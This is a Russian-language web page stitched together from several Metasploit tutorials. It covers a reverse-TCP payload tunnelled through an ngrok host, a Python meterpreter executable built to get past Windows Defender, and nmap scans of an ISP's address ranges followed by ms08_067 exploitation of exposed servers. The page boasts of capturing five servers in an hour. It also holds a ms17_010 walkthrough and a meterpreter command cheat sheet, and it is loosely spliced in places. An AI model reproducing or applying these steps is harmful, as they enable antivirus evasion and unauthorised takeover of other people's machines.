Скрытое управление компьютером на windows используя metasploit
Обновлено: 06.07.2024
Metasploit - одна из лучших сред тестирования безопасности, которая помогает тестировщикам делать больше, чем просто обнаруживать проблемы и выявлять уязвимости; он также готовится и вооружает защитников, чтобы всегда оставаться на один или два шага впереди игры.
Metasploit Framework - это набор инструментов для генерации и запуска кодов эксплойтов на локальном или удаленном целевом компьютере. В Интернете существуют тонны учебников по использованию различных уязвимостей. Но большинство из них ограничены в локальной сети. Чтобы сделать что-то полезное, один из них выходит за пределы локальной сети.
Большинство наших машин не будут напрямую доступны из Интернета, так как они находятся в локальной сети за маршрутизатором. По умолчанию он не разрешает входящий трафик из Интернета в локальную сеть. Для этого необходимо включить перенаправление портов. Порт. Пересылка - это механизм, который используется для перенаправления соединения с внешнего устройства для доступа к службам на устройстве в локальных сетях / частных сетях. Для этого вам следует настроить маршрутизатор, что может быть невозможно, если вы находитесь в офисной сети. Так что с этим делать?
Metasploit вне локальной сети без переадресации портов
В этом посте мы обсудим атаку на устройство с помощью metasploit framework, чтобы установить обратное TCP-соединение с устройства жертвы на нашу локальную машину без переадресации портов.
Шаг 1 - Настройка Ngrok
ngrok - это удивительный сервис, позволяющий нам установить соединение с машиной или службой, работающей на машине, которая находится внутри локальной сети или расположена через Интернет без переадресации портов или добавления каких-либо правил брандмауэра. Это поможет нам подключить нашу машину-жертву для установления обратного TCP-соединения с нашим слушателем, даже если наша машина находится в нашей локальной сети.
Первое, что нужно сделать, это установить и настроить ngrok на нашей машине Kali. Для этого выполните шаги 1, 2 и 3 в следующем уроке. Вы можете сделать намного больше, используя Ngrok.
Шаг 2 - Запуск Ngrok
Теперь давайте запустим ngrok на TCP-порте; скажем, 9999. Слушатель Metasploit будет прослушивать порт 9999 для входящих обратных соединений TCP.
Как только вы выполните эту команду, вы увидите нечто вроде этого:
Forwarding tcp://0.tcp.ngrok.io:19631 -> localhost:9999
Это означает, что весь трафик 0.tcp.ngrok.io через порт 19631 через Интернет будет перенаправлен ngrok на порт 9999 на нашей машине. Оставь это работающим.
Шаг 3 - Создание полезной нагрузки
Теперь запустите другой терминал и создайте полезную нагрузку с вышеупомянутыми LPORT и LHOST. Используйте приведенную ниже команду для ее создания.
msfvenom -p windows / meterpreter / reverse_tcp LHOST = 0.tcp.ngrok.io LPORT = 19631 -f exe> payload.exe
Здесь я использовал полезную нагрузку windows, но вы можете создать полезную нагрузку для любой ОС, включая android, предоставив вышеупомянутые LHOST и LPORT.
Шаг 4 - Запустите Metasploit Listener
Как только полезная нагрузка сгенерирована, вы можете запустить metasploit и настроить прослушиватель с помощью приведенных ниже команд.
Как только вы запустите 'эксплойт', metasploit запустит прослушиватель на порту 9999 на вашей машине, который будет следить за любым входящим обратным TCP-соединением.
Вы получили оболочку .
Отказ от ответственности: это только для образовательных целей. Любые действия и / или действия, связанные с материалами, содержащимися на этом веб-сайте, являются исключительно вашей ответственностью. Неправильное использование информации на этом веб-сайте может привести к уголовным обвинениям против указанных лиц. Авторы не будут нести ответственность в случае предъявления каких-либо уголовных обвинений лицам, злоупотребляющим информацией на этом веб-сайте, чтобы нарушить закон. Источник
Всем привет. Сегодня рассмотрим вариант запуска meterpreter сессии на машине Windows 10 с самыми свежими патчами (включая Windows Defender). И все также будем обходить антивирусы. Meterpreter — расширенная многофункциональная начинка (payload, нагрузка), которая может быть динамически расширена во время выполнения. В нормальных условиях это обеспечивает вас основной оболочкой и позволяет вам добавлять новые особенности к ней по мере необходимости.
Будем мы это делать с помощью Python, и посмотрим, как поведут себя антивирусные средства.
Предугадывая вопрос «А нужен ли нам Python на машине жертвы для запуска ехе?», отвечу сразу – нет, не нужен, все уже внутри.
В данной статье мы будем использовать:
- Windows 10 с включенным Windows Defender с обновленными базами (компьютер жертвы 192.168.1.113);
- Kali linux для использования metasploit и msfvenom (192.168.1.126);
- Windows 10 для сборки бинарника (в нашей лаборатории совпадает с компьютером жертвы) с установленными;
- Python (3, но и для 2 тоже посмотрим);
- py2exe.
Мы получаем предупреждение от нашего старого друга Windows Defender, которого мы так все любим.
Если спросим у VirusTotal, то он скажет следующее:
Давайте запустим Python и сделаем то, ради чего мы все тут собрались.
Python/meterpreter/reverse_tcp – это уникальный кроссплатформенный payload Metasploit Framework, который позволяет удаленно управлять скомпрометированным компьютером. Не нужно думать о том, какую платформу выбрать, он сработает на любой, но в данном случае сделаем из него исполняемый файл под Windows.
Для начала установим пакет py2exe, который позволяет сделать исполняемый файл Windows из Python скрипта.
У нас это будет Python 3.4 (все что выше – не поддерживает py2exe).
Далее создадим «сырой» питоновский код с расширением .py
Так же в вывод msfvenom нам необходимо добавить импорт getpass, который он забывает сделать сам. В итоге получиться должно так:
Теперь у нас все готово для создания бинарника.
Должны получить следующее:
Давайте еще раз обратимся к VirusTotal:
Уже лучше, теперь проверим это в действии – после копирования на машину жертвы обходимся без алертов.
Параллельно запустим наш msf и handler для питона, запустив последовательно команды:
Пойдем дальше и убедимся, что сессия работает корректно.
Таким образом сессия запущена и Windows Defender не сработал, чего мы и добивались.
Заодно давайте рассмотрим, что делать, если у вас Python 2ой версии.
- Качаем py2exe для python 2
- Генерируем payload с расширением .py
- Создаем файл setup.py и пишем туда следующее:
Должно получиться все то же самое.
В качестве итога замечу, что оболочка python meterpreter уступает по функционалу более привычному windows meterpreter. Например, не получится мигрировать в процесс или использовать команды типа getsystem, но все же это реальная альтернатива: получить сессию для работы с msf (routing и portfwd как минимум) и далее работать внутри сети.
Считается, что с каждой новой версией Windows становится все защищеннее и защищеннее. Даже специалисты АНБ США приложили свою тяжелую руку к улучшению безопасности винды. Но так ли хорошо защищена ОС Windows в действительности? Давай проверим вместе. На практике!
Готовим операционную
Для использования полученных префиксов в сканере nmap, необходимо их предварительно скопировать в файл — например, my_isp.txt, и поместить файл в рабочий каталог с nmap. Итак, поехали, команда запуска сканера будет выглядеть следующим образом:
nmap -T4 -A -v -PE -PS445 -PA445 -iL my_isp.txt
Отлично, в результате сканирования мы получили список хостов с запущенной службой сервера, которую видно из внешней сети, причем она ничем не прикрыта, хотя мелкомягкие еще в 2008 году настоятельно рекомендовали блокировать доступ из интернета к этому сервису. Интересно, что по каждому хосту nmap выдает подробную информацию о типе установленной ОС.
Виды shell: полезная нагрузка meterpreter и другие
В настоящее время считается, что полнофункциональный Meterpreter (МР) существует только под Windows, но на самом деле это не совсем так. Существует еще несколько версий MP, реализованных на PHP и JAVA. Впрочем, ты и сам можешь стать автором «полезной нагрузки» — например, скомпилировать TCL-сценарий shell-кода для Cisco IOS с помощью утилиты tclpro.exe и в дальнейшем использовать его для жестоких игр с железными кошками. Как так? Сам не понимаю :).
Стандартную полезную нагрузку MP можно использовать почти со всеми Windows-эксплойтами, включенными в Metasploit Framework, выбрав одну из следующих полезных нагрузок:
Кратко поясню суть каждой.
- bind_meterpreter— резервирует порт на целевой машине и ожидает соединения. После установления соединения происходит загрузка Meterpreter’a на целевой хост, текущее соединение продолжает использоваться для связи с удаленной машиной.
- reverse_meterpreter— сама соединяется с предварительно заданным хостом по указанному порту для дальнейшей загрузки Meterpreter’a. Затем установленное соединение используется для связи с удаленной машиной. Все хорошо, но для успешной реализации данного метода нам понадобится реальный IP-адрес (или устанавливай проброс нужных тебе портов через NAT).
- find_tag— осуществляет поиск дескриптора службы, обработанной эксплойтом, и использует его для загрузки Meterpreter’a на удаленную машину, после чего существующее соединение будет использовано для связи с ней. Этот вид полезной нагрузки является особенно интересным, поскольку тут не требуется открывать новое соединение — таким образом, существует возможность обхода практически любых конфигураций брандмауэров.
- bind_tcp— это обычный командный интерпретатор типа cmd.exe, естественно, без всяких дополнительных наворотов, как у Meterpreter`a. Он просто резервирует порт на целевой машине и загружает стандартную оболочку.
В зависимости от цели исследования системы может быть использована любая из этих полезных нагрузок. Так чего же мы ждем? Выбираем цель из списка, полученного в результате сканирования nmap, и подключаемся к ней. Для простоты эксперимента будем использовать простой командный интерпретатор в качестве полезной нагрузки.
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit> set PAYLOAD windows/vncinject/bind_tcp
PAYLOAD => windows/vncinject/bind_tcp
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.3
RHOST => 192.168.0.3
msf exploit(ms08_067_netapi) > exploit
Захват сервера
Теперь из списка хостов, сгенерированных nmap, выберем IP-адрес под управлением ОС Windows 2003 Server — это и будет наша искомая цель (ведь ты, как настоящий сетевой гуру, хотя бы раз в жизни должен поиметь свой собственный дедик!). Для работы с сервером будем использовать все тот же эксплойт (exploit/windows/smb/ms08_067_netapi) и полезную нагрузку bind_meterpreter. В результате мы получаем доступ к командной оболочке через Meterpreter, после чего добавляем нового пользователя с помощью сценария token_adduser, предварительно повысив свои привилегии на удаленной машине до уровня SYSTEM с помощью команды use priv. Ну вот — у нас есть дедик, к которому ты можешь подключаться, используя удаленный рабочий стол. На нем мы можем установить прокси-сервер, FTP и многоемногое другое. В ходе эксперимента у меня получилось набрать пять дедиков примерно в течение часа. Я думаю, это круто!
Заключение
Если кто-то хочет просто жать на кнопку «exploit», чтобы Metasploit сразу выдавал готовые дедики, то скажу сразу — этого не будет: метод все равно требует времени и терпения. Уязвимость далеко не нова, и производители ПО уже приняли меры по ее локализации.
Так, если на удаленной машине установлен антивирус или правильно сконфигурирован центр обеспечения безопасности Windows, то скорее всего доступ к порту 445 из внешней сети получить просто не удастся. В частности, антивирус Касперского отреагирует на изменение системных файлов, своевременно информируя об этом пользователя. Хотя атака из локальной сети, скорее всего, приведет к тому, что система будет полностью скомпрометирована. Несмотря ни на что, все еще остается довольно широкое поле для экспериментов с безопасностью Windows, и ты можешь внести свой вклад в это дело. Непоправимый вклад :).
History
Компания Microsoft в свое время даже объявляла премию в размере $250 000 за информацию, которая будет способствовать поимке создателя этого червячка. «Но ведь это далекое прошлое!», — возразишь ты и будешь отчасти прав. Но только отчасти, так как сегодня ситуация не сильно изменилась.
Автор материала не несет ответственности, за действия совершенные читателями. Информация предоставлена исключительно в ознакомительных целях.
Metasploit представляет собой платформу для тестирования на проникновение, позволяет имитировать сетевые атаки, а также является средством создания и применения эксплойтов. На данный момент Metasploit приобретен компанией Rapid7 и имеет несколько версий:
— командная оболочка msfconole
— версия с web-интерфейсом Metasploit PRO.
Загрузить и установить Metasploit можно с официального сайта проекта:
В этой статье я постараюсь полностью избежать теории и максимально коротко раскрыть практическую сторону Metasploit на примере проникновения в ОС Windows Server 2012.
В качестве атакующей машины будет выступать компьютер под управлением ОС Kali, дистрибутив которой уже содержит Metasploit, нам остается только запустить сервис базы данных:
$sudo service postgresql start
Убедиться, что база данных прослушивает порт 5432 командой:
Остается только инициализировать БД msf:
$sudo msfdb init
Теперь можно запускать msfconsole:
Проверим статус БД:
msf5 >db_status
Если всё настроено верно, то мы получим примерно такой вывод:
[*] Connected to msf. Connection type: postgresql.
Для этой цели будем использовать сетевой сканнер nmap прямо из консоли msf. Как использовать nmap — это отдельная тема, останавливаться на ней сейчас я не буду, скажу только, что ip-адрес жертвы в этом примере нам известен, а ключ -sV даст больше информации об ОС, службах и открытых портах:
msf5 >nmap -sV 192.168.1.104
Следующей командой ищем модули для работы с SMB:
msf5 >search smb
В выводе мы получим список всех известных на данный момент модулей для SMB. А также версию, код уязвимости и шансы на успех.
Выбор осуществляется командой use:
msf5 >use exploit/windows/smb/ms17_010_psexec
Для смены модуля используем команду use или для отмены команду back.
Теперь мы можем установить ip адрес жертвы и ввести команду exploit в msfconsole для выполнения выбранного модуля или просмотреть опции модуля командой show options.
Опции модуля устанавливаются командой set.
В моей компании половина сотрудников хранят свои пароли на стикерах, приклеенных к мониторам. А в компании, где я работал до этого, все логины и пароли лежали на общедоступном диске в одном документе. Поэтому если вам так же «повезло», как мне, используем социальную инженерию и зададим логин и пароль:
msf5 exploit(windows/smb/ms17_010_psexec)>set smbuser Ivanov_II
msf5 exploit(windows/smb/ms17_010_psexec)>set smbpass Qwerty123
Но в данном примере я задам только ip-адрес, в этом случае Metasploit будет пытаться войти в систему либо анонимно, либо используя словарь, адрес которого видно в опциях. Вводим:
msf5 exploit(windows/smb/ms17_010_psexec)>set rhost 192.168.1.104
Metasploit:
Укажите и используйте эксплойт:
Укажите полезную нагрузку для использования:
Показать параметры для текущих модулей:
Полезные вспомогательные модули
FTP Сервер:
Proxy Сервер:
msfvenom :
Инструмент msfvenom можно использовать для генерации полезных нагрузок Metasploit (например, Meterpreter) в виде отдельных файлов и, при необходимости, для их кодирования.
Этот инструмент заменяет прежние инструменты msfpayload и msfencode.
Полезная нагрузка Reverse Meterpreter в виде исполняемого файла и перенаправленная в файл:
Metasploit Meterpreter
Базовые команды:
- ? / help: вывод сводной информации о командах
- exit / quit: выход из сеанса Meterpreter
- sysinfo: показать имя системы и тип ОС
- shutdown / reboo: не требует пояснений
Команды файловой системы: - cd: изменить каталог
- lcd: Изменить каталог на локальном (атакующем) компьютере
- pwd / getwd: Показать текущий рабочий каталог
- ls: показать содержимое каталога
- cat: отображать содержимое файла на экране
- download / upload: перемещение файлов на / с целевого компьютера
- mkdir / rmdir: создать / удалить каталог
- edit: открыть файл в редакторе по умолчанию (обычно vi)
Команды процесса: - getpid: Показать идентификатор процесса, внутри которого работает Meterpreter.
- getuid: Показать идентификатор пользователя, с которым работает Meterpreter.
- ps: Показать список процессов.
- kill: завершить процесс по его идентификатору.
- execute: запустить заданную программу с правами процесса, в который загружен Meterpreter.
- migrate: переход к указанному идентификатору процесса назначения:
- Целевой процесс должен иметь такие же или меньшие привилегии
- Целевой процесс может быть более стабильным
- Находясь внутри процесса, может получить доступ к любым файлам, для которых процесс заблокирован
Сетевые команды:
- ipconfig: Показать информацию о сетевом интерфейсе
- portfwd: пересылка пакетов через сеанс TCP
- route: управление / просмотр таблицы маршрутизации системы
Разные команды:
- idletime: отображение времени, в течение которого GUI целевой машины простаивал.
- uictl [enable/disable] Скрытое управление компьютером на windows используя metasploit: включить / отключить мышь или клавиатуру целевой машины.
- screenshot: Сохранить как изображение снимок экрана целевой машины.
Дополнительные модули:
- use [module]: загрузить указанный модуль
- Пример:
use priv: загрузить модуль priv
- hashdump: сбросить хэши из коробки
- timestomp: Изменить временные метки файла NTFS
Управление сессиями
Запустите эксплойт, ожидая одну сессию, которая сразу же станет фоновой:
Запустите эксплойт в фоновом режиме, ожидая одну или несколько сессий, которые сразу же станут фоновыми:
Перечислите все текущие задания (обычно используют слушателей):
Несколько сессий:
Перечислите все фоновые сессии:
Взаимодействовать с фоновым сеансом:
Предыстория текущего интерактивного сеанса:
Маршрутизация через сессии:
Все модули (эксплойты / post / aux) против целевой маски подсети будут поворачиваться в течение этого сеанса.
Читайте также: